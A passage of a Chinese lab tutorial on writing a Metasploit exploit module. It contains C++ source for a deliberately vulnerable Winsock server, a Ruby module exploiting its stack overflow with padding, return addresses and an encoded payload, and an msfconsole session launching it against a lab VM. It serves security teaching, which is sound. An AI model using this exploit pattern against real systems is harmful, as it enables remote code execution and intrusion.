当前位置:   article > 正文

4.2 metasploit 开发 exploit_如何利用matesploit进行exploit代码编写

如何利用matesploit进行exploit代码编写

目录

一、实验清单

二、实验思路

三、实验步骤


一、实验清单

实验清单
类型序号软硬件要求规格
攻击机1数量1台
2操作系统版本kali
3软件版本metasploit
靶机1数量1台
2操作系统版本windows xp sp3
3软件版本vc++

二、实验思路

        靶机:采用一个存在典型栈溢出的server,其代码如下:

  1. #include<iostream.h>
  2. #include<winsock2.h>
  3. #pragma comment(lib,"ws2_32.lib")
  4. void msg_display(char *buf)
  5. {
  6. char msg[200];
  7. strcpy(msg,buf); //overflow here,copy 0x200 to200
  8. cout<<"***************"<<endl;
  9. cout<<"received:"<<endl;
  10. cout<<msg<<endl;
  11. }
  12. void main()
  13. {
  14. int sock,msgsock,lenth,receive_len;
  15. struct sockaddr_in sock_server,sock_client;
  16. char buf[0x200];//notice it is 0x200
  17. WSADATA wsa;
  18. WSAStartup(MAKEWORD(1,1),&wsa);
  19. if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
  20. {
  21. cout<<sock<<"socket creating error!"<<endl;
  22. exit(1);
  23. }
  24. sock_server.sin_family=AF_INET;
  25. sock_server.sin_port=htons(7777);
  26. sock_server.sin_addr.s_addr=htonl(INADDR_ANY);
  27. if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
  28. {
  29. cout<<"binging stream socket error!"<<endl;
  30. }
  31. cout<<"****************************"<<endl;
  32. cout<<"exploit target server 1.0 "<<endl;
  33. cout<<"****************************"<<endl;
  34. listen(sock,4);
  35. lenth=sizeof(struct sockaddr);
  36. do{
  37. msgsock=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);
  38. if(msgsock==-1)
  39. {
  40. cout<<"accept error"<<endl;
  41. break;
  42. }
  43. else
  44. do
  45. {
  46. memset(buf,0,sizeof(buf));
  47. if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
  48. {
  49. cout<<"reading stream message error!"<<endl;
  50. receive_len=0;
  51. }
  52. msg_display(buf); //trigged the overflow
  53. }while(receive_len);
  54. closesocket(msgsock);
  55. }while(1);
  56. WSACleanup();
  57. }

        程序大致思路:在vc++中编译运行后,程序会在7777端口监听TCP连接,如果收到数据,就在屏幕上打印出来。在main函数中,buf数组的大小被声明为0x200,在mag_display函数中,将大小为0x200的字符串复制进200大小的局部数组,从而引发一个典型的栈溢出。

        攻击机:使用Ruby语言开发一个exploit模板,并在MSF上运行以测试漏洞。Ruby脚本如下:

  1. #!/usr/bin/env ruby
  2. require 'msf/core'
  3. class Metasploit3 < Msf::Exploit::Remote
  4. include Exploit::Remote::TCP
  5. def initialize(info = {})
  6. super(update_info(info,
  7. 'Name' => 'failwest_test',
  8. 'Platform' => 'win',
  9. 'Target' => [
  10. ['Windows 2000',{'Ret' => 0x77F8948B}],
  11. ['WIndows XP SP3',{'Ret' => 0x77D928A3}]
  12. ],
  13. 'Payload' => {
  14. 'Space' => 2000,
  15. 'BadChars' => "\x00",
  16. }
  17. ))
  18. end #end of initialize
  19. def exploit
  20. connect
  21. attack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encoded
  22. sock.put(attack_buf)
  23. handler
  24. disconnect
  25. end #end of exploit def
  26. end #end of class def

        对上述代码进行简单解释:

        (1)require指明所需的类库,相当于C语言的include;

        (2)运算符“<”表示继承,也就是,我们这里所定义的类是由Msf::Exploit::Remote继承而来;

        (3)在类中,定义了两个方法(函数),一个是initialize,另一个是exploit。现在模板的框架可以看成:

  1. class xxx
  2. def initialize
  3. #定义模块初始化信息,如漏洞适用的操作系统平台、为不同操作系统指明不同的返回地址
  4. #指明shellcode中禁止出现的特殊字符、漏洞相关描述、URL引用、作者信息等
  5. end
  6. def exploit
  7. #将填充物、返回地址、shellcode等组织成最终的attack_buf,并发送
  8. end
  9. end

        从实验所用的Ruby脚本看initialize:

  1. def initialize(info = {})
  2. super(update_info(info,
  3. 'Name' => 'failwest_test',
  4. 'Platform' => 'win',
  5. 'Target' => [
  6. ['Windows 2000',{'Ret' => 0x77F8948B}],
  7. ['WIndows XP SP3',{'Ret' => 0x77D928A3}]
  8. ],
  9. 'Payload' => {
  10. 'Space' => 2000,
  11. 'BadChars' => "\x00",
  12. }
  13. ))
  14. end #end of initialize

        (1)Name模块的名称,在msf console中,使用“show exploit”命令,会显示每一个exploit的序号、路径...以及此时这个Name;

        (2)Platform模块运行平台,MSF通过这个值来为exploit挑选payload。本例中,该值为‘win’,在挑选payload时,MSF只会选择windows平台的payload,而BSD、linux的payload将会被禁用。

        (3)Targets可以定义多种操作系统的返回地址。可以用ollydbg或者msf有个模块可以获取跳转指令的返回地址。

        (4)Payload则是对shellcode的要求,如大小和禁止用的字节等。

        再看exploit:

  1. def exploit
  2. connect
  3. attack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encoded
  4. sock.put(attack_buf)
  5. handler
  6. disconnect
  7. end #end of exploit def

        对于attack_buf:

attack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encoded

         (1)用200个字符“a”填充缓冲区;

        (2)pack('V')的作用是把数据按照DWORD逆序

        (3)payload.excoded是将payload编码。

三、实验步骤

1、在靶机上编译并运行漏洞程序;

2、在攻击机上编写Ruby脚本,保存为“test_exploit.rb”,存放路径为:

/var/usr/share/metasploit-framework/modules/exploits/failwest/

3、启动msf console,并且输入以下命令;

  1. msf6 > use exploit/failwest/test_exploit
  2. [*] No payload configured, defaulting to generic/shell_reverse_tcp
  3. msf6 exploit(failwest/test_exploit) > show targets
  4. Exploit targets:
  5. Id Name
  6. -- ----
  7. 0 Automatic
  8. 1 Windows 2000
  9. 2 WIndows XP SP2
  10. msf6 exploit(failwest/test_exploit) > set target 2
  11. target => 2
  12. msf6 exploit(failwest/test_exploit) > show payloads
  13. Compatible Payloads
  14. ===================
  15. # Name Disclosure Date Rank Check Description
  16. - ---- --------------- ---- ----- -----------
  17. 0 payload/generic/custom normal No Custom Payload
  18. 1 payload/generic/debug_trap normal No Generic x86 Debug Trap
  19. 2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
  20. 3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
  21. 4 payload/generic/ssh/interact normal No Interact with Established SSH Connection
  22. 5 payload/generic/tight_loop normal No Generic x86 Tight Loop
  23. 6 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
  24. 7 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
  25. 8 payload/windows/exec normal No Windows Execute Command
  26. 9 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
  27. 10 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
  28. 11 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
  29. 12 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
  30. 13 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
  31. 14 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
  32. 15 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
  33. 16 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
  34. 17 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
  35. 18 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
  36. 19 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
  37. 20 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
  38. 21 payload/windows/powershell_reverse_tcp_ssl normal No Windows Interactive Powershell Session, Reverse TCP SSL
  39. 22 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
  40. 23 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
  41. 24 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
  42. 25 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
  43. 26 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
  44. 27 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
  45. msf6 exploit(failwest/test_exploit) > set payload windows/exec
  46. payload => windows/exec
  47. msf6 exploit(failwest/test_exploit) > show options
  48. Module options (exploit/failwest/test_exploit):
  49. Name Current Setting Required Description
  50. ---- --------------- -------- -----------
  51. RHOSTS yes The target host(s), see https://github.com/ra
  52. pid7/metasploit-framework/wiki/Using-Metasplo
  53. it
  54. RPORT yes The target port (TCP)
  55. Payload options (windows/exec):
  56. Name Current Setting Required Description
  57. ---- --------------- -------- -----------
  58. CMD yes The command string to execute
  59. EXITFUNC process yes Exit technique (Accepted: '', seh, thread,
  60. process, none)
  61. Exploit target:
  62. Id Name
  63. -- ----
  64. 2 WIndows XP SP2
  65. msf6 exploit(failwest/test_exploit) > set rhost 192.168.92.132 //靶机IP
  66. rhost => 192.168.92.132
  67. msf6 exploit(failwest/test_exploit) > set rport 7777
  68. rport => 7777
  69. msf6 exploit(failwest/test_exploit) > set cmd calc
  70. cmd => calc
  71. msf6 exploit(failwest/test_exploit) > set exitfunc seh
  72. exitfunc => seh
  73. msf6 exploit(failwest/test_exploit) > exploit

4、回到靶机,可以看到如下界面:

        唯一的不足就是:shellcode已经注入到靶机中了,但是没有运行。

        为此,做了以下努力:

        (1)使用telnet命令,连接到了靶机,并且也正常输出字符,说明漏洞程序没有问题;

         (2)在msf中,使用generate命令,将payload为windows/exec的shellcode找出来,并且用加载程序在靶机上运行,结果是可以调出计算器,正常运行。

        至此,具体为什么使用exploit注入的shellcode无法运行的原因不知,有待进一步研究。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/繁依Fanyi0/article/detail/705304
推荐阅读
相关标签
  

闽ICP备14008679号